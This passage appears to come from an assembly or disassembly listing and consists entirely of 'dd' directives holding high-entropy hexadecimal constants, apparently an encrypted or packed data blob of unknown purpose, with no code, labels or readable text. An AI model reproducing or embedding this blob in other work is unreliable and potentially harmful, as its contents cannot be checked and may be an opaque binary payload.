		dd 0D37B75Ch, 3B0FC9C2h, 6D7B8140h, 97317045h, 38305676h
		dd 0BFEEC15Eh, 21D50660h, 0E9F78904h, 0A6B9562Ch, 5DA6F076h
		dd 0FF5F8C94h, 0C47B4269h, 6BE8CDh, 0F36176BEh,	0EF68111h
		dd 7FC631AAh, 0AF28C1DCh, 880191CAh, 13BD7B6Ah,	0FDD4FB51h
		dd 401DA102h, 4BFA6017h, 52F5C0A9h, 997EABBAh, 9BF0725Bh
		dd 2DCBB809h, 917DC025h, 0BA512201h, 0CEC9F130h, 0C9FE0883h
		dd 1200B252h, 0CA205AD1h, 0CC686659h, 0F93A802Ah, 9BC12854h
		dd 84E5D449h, 0DFEE7D9Dh, 59404A00h, 6D251A85h,	0D4534BE9h
		dd 0F179D1F4h, 18236717h, 0B9FFAF35h, 1A52197Ch, 0C2491641h
		dd 0AF41E557h, 2681901h, 5B55C23Bh, 0FBA18BCDh,	30DC14D7h
		dd 0EA179AB5h, 292F0EA0h, 80097238h, 970A3108h,	7A0283ABh
		dd 0E65B2311h, 722CF0A0h, 0D9538BB8h, 0A79401DDh, 0E216E5FAh
		dd 831DB8ACh, 0D94AC380h, 0F7C2BE49h, 1452FDF9h, 0F8E918B3h
		dd 0D6B15295h, 12F18016h, 9D2CFF13h, 0F5B6A328h, 2BD1EF14h
		dd 52095780h, 6256D954h, 5904E0BBh, 0CA6490ABh,	1E055F53h
		dd 55F7686Fh, 0E984485Dh, 3AFDEC2Dh, 0AF1D2200h, 0A0F3812Eh
		dd 3A07011Dh, 5893CB82h, 518EFF7Eh, 9F7BCF20h, 0E913DD29h
		dd 0C74626E3h, 2F8341A7h, 0C9468AE4h, 2AC4A481h, 68C20FFDh
		dd 8FB056B5h, 4FC54065h, 9BE817D1h, 0F76AEFC6h,	1D09507Fh
		dd 8E721413h, 28EAD332h, 97626A86h, 0FB096870h,	4B102CFFh
		dd 0A009C075h, 87FBBDFFh, 7CCFA53Eh, 2D364AACh,	898FD77Ch
		dd 0AF5AA6D1h, 0D2C24829h, 0EEF16527h, 6652FE8Bh, 5F537A31h
		dd 7C7FF1FFh, 40F8AC0Bh, 0CC31682Eh, 3732CF31h,	45B8C3Fh
		dd 20804216h, 1D816DA8h, 6FB519BBh, 0A774EBC1h,	0ACCBA392h
		dd 2A6E98DCh, 404A2C0Bh, 0FBA518CCh, 68252477h,	6BBAD6F8h
		dd 0EAA28141h, 0E978AEFCh, 5DD6AACCh, 0C9278895h, 0AC2EF3B9h
		dd 0C383A0ACh, 5E129002h, 615C4497h, 0B0CFBA6Bh, 3B27910h
		dd 0E3DD30BBh, 0C1321028h, 3F04019Eh, 8091B151h, 0B2427771h
		dd 0B48FFF6h, 0F896F930h, 0B09D610Bh, 0B55E7C38h, 0D2E48851h
		dd 86E99C01h, 0B9F43E91h, 0B0CA408Dh, 57EC595Bh, 180C927h
		dd 7C1F3EBDh, 9534287Ah, 57AC329Dh, 53D70402h, 2661ACB3h
		dd 5B6F60F9h, 28A52C0Fh, 0C37FDC8h, 9C4D784h, 0D36FA7BBh
		dd 766C3E92h, 95C1262h,	5E8207FAh, 94A0C992h, 71DB0137h
		dd 55A4295Ah, 66545C57h, 88939E24h, 273D55E4h, 0EB6D2020h
		dd 484A25C9h, 5804AE16h, 0ABCCEA09h, 68096FCEh,	0BAC6433Dh
		dd 0D43AA20Bh, 0AED90004h, 24590642h, 1748FB21h, 3B302938h
		dd 207F3C14h, 0DF2D0699h, 265B4E72h, 1FA67A9Dh,	196EA705h
		dd 432D3058h, 0ACB05E07h, 4A7B120Ch, 9006DA9Dh,	0ABAD4E44h
		dd 0DE8A0121h, 18164969h, 35312CE7h, 5FA48D5Bh,	7E534186h
		dd 4978E3E1h, 9D05425Eh, 7BFC792Ch, 0E204A800h,	4EC5E932h
		dd 0D28BA9D9h, 2F4D7901h, 0B92A64EFh, 82EB46EBh, 72ACD4E9h
		dd 458812C1h, 0A52304AFh, 0DEEFDDh, 2D0CE90Ah, 7A3240ACh
		dd 569D4D4Fh, 36EB01B5h, 6E493E78h, 0A96E650Bh,	0A5645984h
		dd 0EE202A6Ch, 88FB96A3h, 5C25D54Bh, 88F60885h,	3A5F300h
		dd 0E2683862h, 0BE18BF55h, 0E1E4252h, 54258B3Ch, 5DE9F86Fh
		dd 59070A9Eh, 0F752C683h, 127E1D6h, 0C78C1141h,	624D8A7Ah
		dd 75340F24h, 0C2B2CAE0h, 0C95CF4B5h, 1D407656h, 0BD755957h
		dd 0B7489244h, 7C7DD010h, 0BB9C840h, 7B22424Dh,	9C204A5Eh
		dd 1CA75A20h, 7FEF681h,	0EB31762Eh, 14DE2404h, 53EE0378h
		dd 0E88137F5h, 90EA5EA8h, 0E0D92DB7h, 4BDF5790h, 0D4F00122h
		dd 0EB10800Eh, 6E974597h, 0D2253AE6h, 315E1360h, 3F4153BFh
		dd 0EED0CA12h, 0C50CDD24h
		dd 55FE3758h, 0A5209B2Fh, 54F7803h, 53685A1Dh, 0C545EC69h
		dd 37BB3847h, 923CF1AEh, 40303A26h, 736ABD55h, 9A3B4C73h
		dd 5046020h, 4F4D4372h,	6E56D8CBh, 5ABD3710h, 512D04F2h
		dd 0FB093462h, 4F319482h, 0AB3DC282h, 5A0B5FD1h, 668ED151h
		dd 14FC9059h, 0CC901BE2h, 2D3CF402h, 74EDE918h,	0DECF20E2h
		dd 79F894C3h, 37924068h, 0A103D5B1h, 76E7A559h,	7A66F99Eh
		dd 5750BB31h, 1A2FA740h, 815F0133h, 3A2AACCFh, 42C2F07Dh
		dd 0C2959B9Dh, 1FA40FAAh, 10C3B37Bh, 21193D38h,	0EC50B3F0h
		dd 0A19DC736h, 0BF0CCC99h, 0CF2C0478h, 5D430958h, 8B774D75h
		dd 0B2A078E9h, 6617CCB9h, 0C8097900h, 0DD8F759h, 0A26400E5h
		dd 6C722D71h, 0F9E235E4h, 0D1524602h, 4058C621h, 1810297h
		dd 0BBF53DEEh, 3BB0E9F6h, 0B6B8E40Fh, 929399A3h, 0B46881DAh
		dd 2F1E20BBh, 63890EA8h, 60AB54BAh, 40144F2Ch, 4B0E9E90h
		dd 0D70A9555h, 0CDB43113h, 0F1519FEDh, 26200108h, 0FBEC09E3h
		dd 0B5366E7Fh, 791493A2h, 266302DCh, 0E7793BB3h, 0D740B5A7h
		dd 3FDEE188h, 7A48AFBFh, 0CA68140Ch, 53C0D10Eh,	650175BBh
		dd 0F3810F01h, 10963D73h, 4E94D320h, 7197F850h,	0A60B1F90h
		dd 740892F4h, 901C08B2h, 6009D24h, 975B850h, 257100C9h
		dd 32D541A4h, 44249C2Dh, 3B0BE7CEh, 0E725D4B0h,	120BCF55h
		dd 271DB722h, 4497DE4Ch, 0C62D484Eh, 1A78AC97h,	0DFF5FE2Eh
		dd 1A2D9152h, 335993F3h, 5A10D170h, 7EC2018Dh, 6E0DA27Fh
		dd 0F9E9A6C1h, 0BEAB162Eh, 0C2097307h, 0AFBF93A2h, 96450E2Ch
		dd 0D70DAE22h, 438979C5h, 29B21957h, 69FD9B30h,	63FE47E1h
		dd 0C962280Dh, 0C0E63Eh, 173B9438h, 125EF531h, 0CC3F9B68h
		dd 0AE49AB0Fh, 0F7566B04h, 33A7B36Fh, 2EF26Eh, 265C09BBh
		dd 44E01F5Eh, 373FE7F6h, 191CF4EBh, 54E6D1AAh, 5B825282h
		dd 3D9B1B02h, 7C406E05h, 8C070BBh, 4B4483C4h, 0E5EEAC8Fh
		dd 4AD5B3BBh, 2AA690B1h, 9E1058h, 0C280EA28h, 0E2059F6h
		dd 0F1865AD1h, 0D52CEE4Fh, 0E235E908h, 0D0EA2CF7h, 0BF2D4610h
		dd 40273D7Dh, 4A167FB0h, 851D4BFh, 0B1098C13h, 8FB28h
		dd 6DEA80C7h, 47B21DE9h, 382B6812h, 41C6E2CCh, 0D5A43A95h
		dd 800640A7h, 66BAC703h, 74FD8851h, 0E9EF08AAh,	531DE010h
		dd 11A14EBDh, 6FA21762h, 40682648h, 42CC255Ah, 0CCE00B9h
		dd 0E1816FF4h, 0C55C6A98h, 7E916DFh, 6037E249h,	49635EDh
		dd 50DA4EE4h, 3A81AE5Dh, 352124EFh, 33659900h, 29663ECEh
		dd 28081C68h, 11481F8h,	7850D16Ah, 0D728299Dh, 0C7FC6CB5h
		dd 81859E65h, 105D57ADh, 0F1E9EF29h, 0D49E6845h, 59D90016h
		dd 0CE8110EDh, 993217AAh, 4A5A2102h, 97373CB9h,	2FA92574h
		dd 5025D794h, 317FB95Dh, 0F64A5D2Ch, 0E5552DB5h, 25804D5Ah
		dd 0C4AD7AFDh, 8E8405B5h, 4BF3F2C8h, 10661F01h,	41C75DB2h
		dd 0D06F075Ch, 252180D0h, 6CE94709h, 6F00DCA7h,	953ED83Fh
		dd 931F2CF2h, 7EE430C9h, 12BC502Dh, 0B1636Dh, 29F7F1B0h
		dd 86F6C07Ch, 84D97248h, 0B5099404h, 29F96008h,	35193D3h
		dd 164DF5EFh, 7AC1584Ah, 5F027BA9h, 8B6FEBFEh, 745B42AAh
		dd 11B254EFh, 0F9C96F9Eh, 0BEB36B5Bh, 0B16AF0FCh, 0FA4F7677h
		dd 2D5E2781h, 0E9B4FF2Ch, 8EEB96E1h, 3FE90927h,	1685E655h
		dd 485C0EB8h, 0A2CAEC8h, 3846D60Ch, 0AD4301A8h,	5EF10136h
		dd 0A0C24256h, 0EBD2FA4Bh, 7EC955DCh, 76850E8h,	9ED051B7h
		dd 6C2F4251h, 53551108h, 654AA868h, 0C0525CCBh,	0AA7B7FA7h
		dd 9C74240h, 2F087DC3h,	0A05163D7h, 0CAB5905h, 0CA96E987h
		dd 0F49F5838h, 1737C3C1h, 0C6047584h, 0C01C685Dh, 6E3802A3h
		dd 904858h, 4C21FC0Bh, 7A610B12h, 24BA020Fh, 561E3D69h
		dd 6FC1C1h, 23ECBDh, 814D0E71h,	0FE43ABE5h, 0FBE97E0Bh
		dd 0F5A6298Eh, 7AE2A51Bh, 0C1061874h, 0B5802E5h, 5430DECh
		dd 65204458h, 39BF001Bh, 8140DF3Dh, 7F135BCFh, 6BF50C9h
		dd 0AEFD183h, 0D3A2066Eh, 532CCBAh, 1834E609h, 2DFD051Ch
		dd 0D65A0709h, 0EB124400h, 0CA2865E5h, 2985E9B0h, 0C3D15E81h
		dd 9A1A9B30h, 0DAFD4827h, 6D350B72h, 0CBD75F27h, 8E25A137h
		dd 6BC22C57h, 0FA15499Fh, 6182F3FDh, 8E2045B9h,	8F3E8055h
		dd 5A342D23h, 1235C429h, 1A4B7608h, 9E9B0802h, 0DEEAE9CFh
		dd 5DEF8975h, 0EB3F3387h, 74683CA7h, 52398C3Dh,	7916DDF2h
		dd 20BB78F6h, 1C1D0E4Fh, 0DB913AC4h, 526C20AFh,	801CF8B6h
		dd 0EEC101C6h, 1C8AE99Eh, 0E0D60B2Ch, 70098C28h, 485A6A99h
		dd 8285391Bh, 3589DE7Eh, 4583D95Eh, 55B2BF56h, 0C8ADE90Dh
		dd 0C6D46021h, 62AECE4Fh, 305E53B2h, 5DF276C2h,	26A83FD3h
		dd 506F580Ah, 65139136h, 294C67F6h, 5807E305h, 5238219h
		dd 1469B4E1h, 415C0AC8h, 0C10B7F89h, 804AC529h,	7E03822Dh
		dd 0F0282943h, 0ABA00705h, 9D9EDBBBh, 72C6EF92h, 6FE129Ah
		dd 0F19E0489h, 1E5AA9BCh, 0E04B5005h, 4E7EF6BDh, 7A5C2D20h
		dd 0CE902453h, 0ECCC2F4Ah, 0FC4812E7h, 0E6B7011Dh, 2025A56Eh
		dd 7912925Dh, 0BD0A0BEDh, 56ED70Dh, 90E266F0h, 0CA1E022Fh
		dd 18A8B148h, 0C6218AB5h, 0BA1718CAh, 0AA9EA43Fh, 0CF0F0293h
		dd 3532A4C7h, 7FCB44C0h, 0C30CC773h, 6BE70014h,	0E92CFB01h
		dd 0D0A73032h, 0E006D0DAh, 6097B420h, 90AAE6C1h, 28FA0535h
		dd 0C4585AF5h, 0B365C22Eh, 0F8EE147Fh, 0F5D0AA97h, 3177382h
		dd 0A5891CF1h, 2530DF4Fh, 0EDB79AB3h, 78D80BD3h, 2791FAA7h
		dd 62554793h, 33E02268h, 0BD8085D2h, 0B377077Ah, 0C2EE0902h
		dd 2E7796B1h, 517F2471h, 834916AAh, 0E9C55D7Ch,	0E7A89235h
		dd 0B459CD12h, 540771Ch, 33B505B8h, 1C932208h, 5FD0ED8Fh
		dd 0C540E912h, 0B5B198EFh, 18803835h, 6872A0BEh, 80A3795Fh
		dd 66EF8807h, 0F6F84050h, 0CA4968D0h, 4BAF5B72h, 68555C1Ch
		dd 985450E5h, 594B211Ah, 9AD4E985h, 71BB2B57h, 501EE995h
		dd 5DEA09ECh, 2E424A3Dh, 8180339Ah, 0AF3732E6h,	0B951002Ah
		dd 0F2664EBh, 34549168h, 0FDF25033h, 6FD37116h,	0E6353E07h
		dd 5D2A47A2h, 67D6C5C8h, 279E8B4Ch, 0BFB5F087h,	0F5023370h
		dd 5F30553Ah, 971AFC05h, 6824E42Dh, 0C3371E5Bh,	0EB796180h
		dd 0F15B5B78h, 0A968214h, 753EAA11h, 52C9CDE8h,	68CF321Dh
		dd 16A700BDh, 3BE91B44h, 129AB1D2h, 0F36F85E5h,	0CD4210ADh
		dd 7C8B2D03h, 0FA80E39h, 3F13BECAh, 8F21C229h, 147C5C53h
		dd 0AB6E98E4h, 1720F14Ah, 192B252h, 0C780C0B7h,	3ECEE9A9h
		dd 2D80F5F2h, 57DC0C1Eh, 0F6740E97h, 4FC19CE0h,	0A6E182EAh
		dd 0BC095BAFh, 81015F25h, 23BE15Ah, 0BA61604Bh,	8D1013F2h
		dd 0FDA91471h, 2EE0333Bh, 8245429h, 695D19B0h, 0C50181A1h
		dd 0F3387F95h, 1AA5FC10h, 0E0A16853h, 95C38E3Ch, 4A049457h
		dd 0A43DEF02h, 0C499A83Fh, 0EB14854Bh, 5941D925h, 80D67196h
		dd 8235D006h, 4B5D0BA1h, 0D35BBC55h, 7B7CC7CAh,	333EF7EEh
		dd 9A094DF0h, 39277D7h,	7C2C12FEh, 38F605BDh, 0B8CF6D54h
		dd 68550FDBh, 4B491DD2h, 1EC6805Dh, 0BD56916Fh,	844077C0h
		dd 231F698h, 372C44C2h,	0F1617FCAh, 0A9DFF295h,	0CFCE8055h
		dd 0F456626Dh, 1CA0581h, 0C0495B3Ah, 3C7C9C0Dh,	76894426h
		dd 0F4A9AA8Ch, 65971835h, 29C79A7Dh, 3F4E53E2h,	8EF10BEh
		dd 0E09AED4Fh, 97F30BE9h, 0D7A0DD56h, 0EB3F1E09h, 67745446h
		dd 0AC0595C1h, 939A1020h
		dd 2925513Bh, 0EFA9C42h, 113BFB9Dh, 4753242Bh, 56346917h
		dd 212857B8h, 0E1811DA3h, 4ACC0E4Fh, 0A761E9C3h, 0AB61FCE2h
		dd 76A6E8C7h, 50D9D8B7h, 0DC5908EBh, 0B14E051Eh, 0AACEC52Dh
		dd 0BC432F02h, 0BE00F57Eh, 733541ACh, 0FA92A79Eh, 2A523A87h
		dd 87F2DD84h, 7DA66816h, 1FA0AF60h, 555485Bh, 5020E073h
		dd 32AEF30h, 0E910845Ch, 4207DC82h, 52D58851h, 0F350EE37h
		dd 0A066595Ah, 0BD85ACD3h, 34B9099Ch, 0D1EEE062h, 0EEC32020h
		dd 6A4D2810h, 0D5EB04EFh, 0AB3E55E5h, 914F0FADh, 0B3926Dh
		dd 1E472205h, 0D75D682Fh, 7D8E55E3h, 5827E591h,	5FA50A71h
		dd 18A22B9Ch, 0A77095F7h, 257BD5DCh, 6D74536Dh,	49E95558h
		dd 5E27B739h, 0E44FCCF1h, 54050E34h, 403A9959h,	0F308070Fh
		dd 0CF7D2075h, 745F1A9Dh, 327FA72Eh, 39E05D7Ch,	0F5767029h
		dd 5EE5D12Dh, 82154A86h, 38E22D7Fh, 3BB8C32Eh, 27C0C406h
		dd 9774F05h, 2EE9409Fh,	0B15145C0h, 8B80F33Ch, 84CA888Bh
		dd 0B6D792F2h, 814D6259h, 70DAA6C2h, 0BC31D57Fh, 0D2D15A4Bh
		dd 5A6C7926h, 106FE6D4h, 0ABF7EBA4h, 0CB849FB6h, 14815D82h
		dd 8365495Ch, 0F1E401F1h, 8F703113h, 2D60BBAEh,	685F0656h
		dd 2B633BF0h, 3C9DE7D2h, 0FE8104AFh, 30575155h,	782D3247h
		dd 982FE641h, 5E77C0Bh,	48E9365Dh, 2045A59Dh, 861F4A5Bh
		dd 8F53EA89h, 0BB8F8E0h, 0BF87FABh, 36073489h, 8C565BD8h
		dd 0F9C901E7h, 830F0B0Dh, 0E2EADC9Bh, 92FC450h,	98E1F2F3h
		dd 3157407Fh, 964BC3B8h, 1EB8B703h, 0D206EB03h,	0D5C2EACDh
		dd 0D3E1E787h, 0EDE26A27h, 6804A154h, 0D2B20DE4h, 8A2D9458h
		dd 0BFB5E1E3h, 43CC7361h, 0C0FABAAh, 58C87DF9h,	7A20510h
		dd 2FBA9161h, 759010A9h, 0F7E7E982h, 429F4CF7h,	2EEC4B23h
		dd 55A7F2A7h, 1D004C6Ch, 0F75FCC7Ah, 386856D5h,	7D972013h
		dd 4D05835Eh, 83BD1A5Eh, 46488300h, 76CF0D60h, 96751002h
		dd 0F97DB668h, 256D89C1h, 60065D11h, 1812F725h,	0B0AB57BCh
		dd 0B55B3D87h, 41240D97h, 43F107AFh, 0A9C2E265h, 0DC5AEDC4h
		dd 334A18D1h, 37E3F38Ah, 0D3C29DE0h, 4EA9E883h,	3C7229AEh
		dd 582A4CDh, 5E985779h,	6113FBB8h, 42AFDF54h, 5B5DEA20h
		dd 92B6715Dh, 8032A034h, 73DDC238h, 6BEBEAEAh, 67511B67h
		dd 0D0C1142Ch, 15E9A0EFh, 0C2469F81h, 285E629Ah, 2D0189E2h
		dd 0A2ED2C44h, 0B91A9357h, 0E9868DEEh, 0F8907EA7h, 7ACE3613h
		dd 911C610Fh, 0C8EC8850h, 74EA58E6h, 5A018717h,	0FB7364BEh
		dd 80D7D531h, 137F7039h, 0F05DDF69h, 8940B894h,	0EED75AF6h
		dd 4B681A28h, 193AE38Fh, 0FC7E4DB7h, 3712A122h,	0BF5629CCh
		dd 739B268Bh, 111B947h,	0A1EC6DDFh, 689CBD5Ch, 19B04BDh
		dd 84C1E8AEh, 93C15266h, 61FAD022h, 59026295h, 0C5CA98C3h
		dd 5A5E1258h, 9DC7690h,	9D715892h, 0DB186225h, 0C6976403h
		dd 66BF09CFh, 0E7703EA8h, 67A36897h, 1B4695F6h,	6C93D62Eh
		dd 110636Ah, 84C5FC4Eh,	310DDE3Fh, 67A83F48h, 0AEDDE40Eh
		dd 8EFF29CBh, 463B8994h, 6B590973h, 0EE60BE39h,	92076AF2h
		dd 742AB920h, 35E92851h, 0C74EF73Ch, 0B0DB8538h, 1B4F68D6h
		dd 5F10F2ADh, 0F45A2712h, 8F7B5618h, 0E23C7497h, 0B2F38255h
		dd 93586FADh, 9846C5EEh, 0AF316822h, 0BD5E2107h, 0FCE63D3Eh
		dd 0F697E017h, 6FA25014h, 296CCF12h, 124ED4ABh,	0A32CBB0Ah
		dd 7AC130E9h, 6E44BA0Ah, 0D0A0825Ah, 68D04011h,	0C618C125h
		dd 13235BBFh, 0B507BD5Fh, 0DADB0CBEh, 0D0A05ACDh, 0DC2863CAh
		dd 650BAD03h, 5539D85Dh, 0FB2DF905h, 7F238244h,	71A3800Fh
		dd 0D592752Ch, 0E613C85Bh, 0A4296E57h, 24E5E1D8h, 1322332Eh
		dd 3B0EB8D1h, 0F04BAF47h, 208C2067h, 2D945548h,	0B69A8233h
		dd 5C61FDC9h, 0F69E2h, 2EFE17BEh, 27198DBBh, 0CCC21D6Dh
		dd 64614C80h, 2AF35E71h, 4096B0E3h, 1A552A39h, 0D1BD5D12h
		dd 0EE9CC293h, 0ECA341CCh, 0D899FD8Dh, 4BA3680Dh, 75CA8C42h
		dd 0BB5C7140h, 0FDC696CBh, 0FF0C6969h, 0FE01F620h, 0A24BFDE9h
		dd 2DE65EFh, 4E3E14F2h,	0A36EA5Dh, 5A45DF08h, 72682C90h
		dd 544A2F11h, 0AF014B42h, 8A96AA4Ch, 5E6D365Ch,	7E38F15Bh
		dd 9E5F78A7h, 77DE9F8Eh, 8FE4F56Bh, 8685909h, 8030D530h
		dd 0DC03BB53h, 0D13B952Eh, 0B59094EBh, 76396C85h, 14A0F02Ah
		dd 0D9327604h, 46022438h, 93B9E920h, 96253F7h, 8C8745B1h
		dd 0C87022C7h, 9FFF595Fh, 22A34BBAh, 8058AC5Ch,	0B83AE1B9h
		dd 6853A0A9h, 2C061286h, 8B121731h, 4192507Dh, 0D2A00EB5h
		dd 3C022CE6h, 0E90BF91Ch, 522A48Ch, 688B2A9Eh, 0D8B0751Ah
		dd 0CE2F33FCh, 6967F410h, 0F2EC60F5h, 52201263h, 7526A014h
		dd 35C50E06h, 5FA685B9h, 52A5C732h, 0EF6C139Ah,	5E605295h
		dd 2F29AA29h, 1530C8EDh, 1225BA88h, 0BBEE015Fh,	8860312Dh
		dd 5E504C1h, 0BD1547E9h, 16083C39h, 0F5323420h,	154FD55Bh
		dd 5DF464AFh, 0FC4BE186h, 0E8855A9Fh, 84A0B3EBh, 68027CF7h
		dd 72AA74F5h, 55EA0262h, 4FD4A06h, 80AB400Eh, 87BFB43Bh
		dd 0C689AE19h, 36967EAAh, 4E1CA35Dh, 0ABCC24EEh, 0A2C5729h
		dd 50679C10h, 0C711F43h, 6468780Bh, 41A8D279h, 66142FAEh
		dd 42631709h, 0AC1064B3h, 525F1F0Ah, 51CF09CCh,	38640CE6h
		dd 683D5566h, 5744EC31h, 9D7B9948h, 0DD203ABBh,	0B646C4Fh
		dd 0B702E959h, 3D095F7Ah, 0D044C63Fh, 592C188Ch, 67460C25h
		dd 4779D41Fh, 7DBECF47h, 71C04274h, 0E3F10797h,	0BA73853Bh
		dd 76287D80h, 8ACAA1E3h, 9D642C6Eh, 942FC741h, 613AC96Eh
		dd 87D43A71h, 73C1F2BBh, 31347EAh, 0D2044D49h, 94BD1898h
		dd 0A2281201h, 3FF12145h, 5FB1B6B8h, 569266Ch, 6D6F28DCh
		dd 9D40D72Dh, 12EA4A99h, 566FE97Ah, 0FCB1392Eh,	7783F25Bh
		dd 0CCBB4F90h, 815F3147h, 35F775FAh, 0B2B867h, 64A137E0h
		dd 2741CFBDh, 4900E42Dh, 79ABF581h, 1748CE2Eh, 0C2610507h
		dd 46B4FD0Fh, 7D5D0809h, 908BE7E5h, 0A51E5906h,	5D4C8BF7h
		dd 0C9EB5CCh, 0B6B45081h, 0CB70E388h, 3E7CB5ACh, 4A18F25Bh
		dd 0D2F88263h, 0CEC5557Ah, 0AB6C163Eh, 5ECE9F50h, 3B08985Fh
		dd 0D9003DA2h, 8150423Dh, 3812ECEEh, 0A4BB1C88h, 441F1DD7h
		dd 0F6C03F12h, 4BD95EACh, 9F1E9829h, 61835DE8h,	7BCB40FEh
		dd 0B7B19C58h, 56246C14h, 4F8C0736h, 9D3DD155h,	0AC4A2406h
		dd 40618A1Dh, 0B9C7AB0h, 31F91054h, 5AD017F2h, 0A2651E49h
		dd 55D68774h, 1A3F0982h, 5EE38B40h, 0CDF4030h, 2445C7F3h
		dd 1AAF6A7Bh, 195E32FEh, 5B956EDAh, 0C28990F3h,	5E2F72DFh
		dd 0ADACD647h, 0E7D519A9h, 0B1DD2F07h, 0D62A5976h, 6E9508C5h
		dd 1F681036h, 21E9160Ah, 97599AA0h, 628DB6CFh, 0C1031D75h
		dd 66768114h, 273C47Bh,	0BA13E907h, 2910B875h, 61D9B9C3h
		dd 62274BE9h, 3FC25127h, 12FA23D4h, 50B9A609h, 0AB4141B8h
		dd 1E02C83h, 0EC9C3B0Ah, 5EF71745h, 7622EB0Bh, 0C4CC72E9h
		dd 79A7E912h, 0F98B39BEh, 0C8123ECFh, 4F4FDAAAh, 0FB1AD7E3h
		dd 76633099h, 9EE8B54Bh, 7CAC688Fh, 3E402AEFh, 2FD61CB8h
		dd 862581FDh, 6428DE44h, 641DB13Ch, 6F4250D8h, 603D0821h
		dd 1540DCCEh, 574F4E4Ch, 41D3BEC0h, 7B517E2h, 551053FEh
		dd 96A70EE9h, 0DAE9EB4Ah, 2E462A74h, 0F8625FFDh, 6AE1253Ah
		dd 2F167078h, 27E80E0Fh, 1F907910h, 56A58853h, 58E284F2h
		dd 0BC54E45Bh, 2CEFF44Bh
		dd 0F49D5A68h, 700BC9C5h, 123FC747h, 28FB87DCh,	59B75BBCh
		dd 5AFE6B33h, 0FF921A2Dh, 0BD0B8117h, 41FED994h, 435158C3h
		dd 0FEECC59Ch, 3C893A8Bh, 5658D47Ch, 29980C68h,	434E0BC1h
		dd 0E46C9A97h, 0BF58ECBEh, 6C860760h, 29313A17h, 801FAF1h
		dd 0F33E5258h, 0C8EB9200h, 0B24B7188h, 249780A7h, 98A2AB2Dh
		dd 0BFACDDC4h, 0C5516B9Bh, 0A65EBE41h, 0F56DAC2Fh, 4AB199F8h
		dd 65BA2BDAh, 0A661BE60h, 0CE72D8E9h, 7A0EE410h, 58C0EC49h
		dd 930117FEh, 0D0E32806h, 0A8EF4A7Fh, 0D9ABF479h, 6603D168h
		dd 74F51187h, 3F24F202h, 1FC0322Bh, 5205660Dh, 0B62DE93Eh
		dd 0F38068ECh, 0BED09408h, 65DE012Ch, 0EA41CB18h, 1F7114AEh
		dd 1675D84Ch, 0E8A33AAFh, 0E95D04DEh, 20CACC84h, 0CB85C8Bh
		dd 0DBBA2BE9h, 0C4E7EC9Dh, 0AB1E88FCh, 4C1AFD44h, 0DA1410A3h
		dd 28064B02h, 0C423529h, 8372D709h, 3BA35631h, 0B95B9F52h
		dd 28A10712h, 0CD6762B8h, 1D091390h, 0F4D64BE9h, 682C9670h
		dd 0CB03B96Fh, 224A1Fh,	54B8F358h, 0AE907A9h, 0BCB5E25Fh
		dd 0D82F04DDh, 694477CDh, 0A8FF34Dh, 8B8BC331h,	0BB6172DCh
		dd 22F56930h, 9F5195F4h, 55EA44D1h, 0D6905A89h,	24D47A57h
		dd 1D10162h, 3B64F580h,	0E34CFAF8h, 0AD30C516h,	0FCC72FF5h
		dd 6417BE8Fh, 2701ED84h, 81674AD7h, 0AABF404Fh,	0E845A46Fh
		dd 6D6CD1F5h, 0D5FE9694h, 0D4DB8091h, 171BE7F0h, 9450DD01h
		dd 5C2FD7F8h, 0E9580FD4h, 0A091BA0Dh, 0E181AC87h, 0D36CE67Fh
		dd 85CE021h, 9FC4093Ch,	50310910h, 0CF7254B2h, 0F62D005Eh
		dd 52CD30Ch, 0D70615BAh, 0B194E936h, 0F74A1930h, 868104D2h
		dd 16DE1032h, 0C24B11h,	0D60114ACh, 785EB7E9h, 0FCA21B67h
		dd 695C0927h, 0C8E10612h, 27030160h, 70601B64h,	6C121FE2h
		dd 230060F5h, 39634FCAh, 0B564C131h, 2B8E4690h,	0C9376481h
		dd 96D882Ah, 0A71C6F3Dh, 2C22847Bh, 0CFC877C3h,	1C1E87A4h
		dd 59EA0135h, 3008E2C0h, 80829F54h, 7C181BF4h, 6C0CC102h
		dd 96EFC211h, 82EF5ACCh, 0E4403636h, 7F49E943h,	0E3301D92h
		dd 0CB47AECAh, 5880F6A7h, 578222DAh, 7C97F269h,	0A3D848A8h
		dd 0A8AFA45Ch, 75ADB11Fh, 1D045900h, 0BBB25203h, 0C35AD028h
		dd 2CF0A9ECh, 4EF472BDh, 84F1EC1Dh, 5B0990F7h, 9EF65009h
		dd 557F40AFh, 0BFC4B2D4h, 76190C22h, 81067810h,	0D3F57654h
		dd 486AB539h, 8C1C7BB2h, 8BACC2D3h, 8720341Dh, 89DC6858h
		dd 87860811h, 0DA53BE72h, 0CE01CA01h, 87CF1862h, 0D6905169h
		dd 6880CA34h, 0FA3E4997h, 0F8A9D29Ch, 0B86A9DCCh, 5685F20h
		dd 0F6167BEh, 9564851Ah, 498E0B43h, 34D8C91Ah, 0C2F1AFA0h
		dd 0EE4922DDh, 97542074h, 4B036347h, 12EAB629h,	3E13215Eh
		dd 0AB2A64EFh, 18E3B0F4h, 0F709FA68h, 0C1C0844Ch, 2D3C3F28h
		dd 61250058h, 506E86Ch,	0CE62AFAh, 2C09289Eh, 0C1721B96h
		dd 5835E818h, 0EC3F56E1h, 5CF41F77h, 4A215DBCh,	822970C7h
		dd 0E988141h, 49C6CE80h, 0FFB82C84h, 85DE6F0Bh,	1485F787h
		dd 0A7698353h, 0F375A332h, 21D2555Ch, 0E7B613F6h, 4F9CD62Fh
		dd 1AD92B62h, 863212C0h, 89C6C812h, 0B5BDB80Fh,	7EC85EBAh
		dd 0DAF9DF62h, 0EC446145h, 0C90BCC00h, 549B6861h, 0FA3E5807h
		dd 61E2D0CBh, 29AEF277h, 0A8897426h, 3CCA0F49h,	0C0C4332Bh
		dd 0F7798871h, 78B0E525h, 7860204Bh, 4AA3681Ch,	58B9FC2Fh
		dd 5238B4E9h, 26EFDE0Ch, 21A01038h, 6AE165D6h, 0A2A18DECh
		dd 0D887C323h, 73424793h, 4364C380h, 0FEBE977Eh, 6FE87627h
		dd 3B9273CDh, 4BA80484h, 5C1EE102h, 0F1D55B07h,	0A3666447h
		dd 32BC4B5Fh, 0E567DD00h, 968CBD3Fh, 294F971Eh,	502A98A7h
		dd 0D15505B8h, 8556F04Dh, 5F53F8B2h, 0C8871BECh, 0ACC234C0h
		dd 6EC4B1Eh, 0EBA50896h, 5FF6E225h, 68530F18h, 8A754D29h
		dd 0EAAAC9A5h, 602AD3D5h, 3A706892h, 22A7C59Dh,	3C84F99h
		dd 4081BE28h, 327423BAh, 0F57C980h, 5EE962E3h, 2359A47Ah
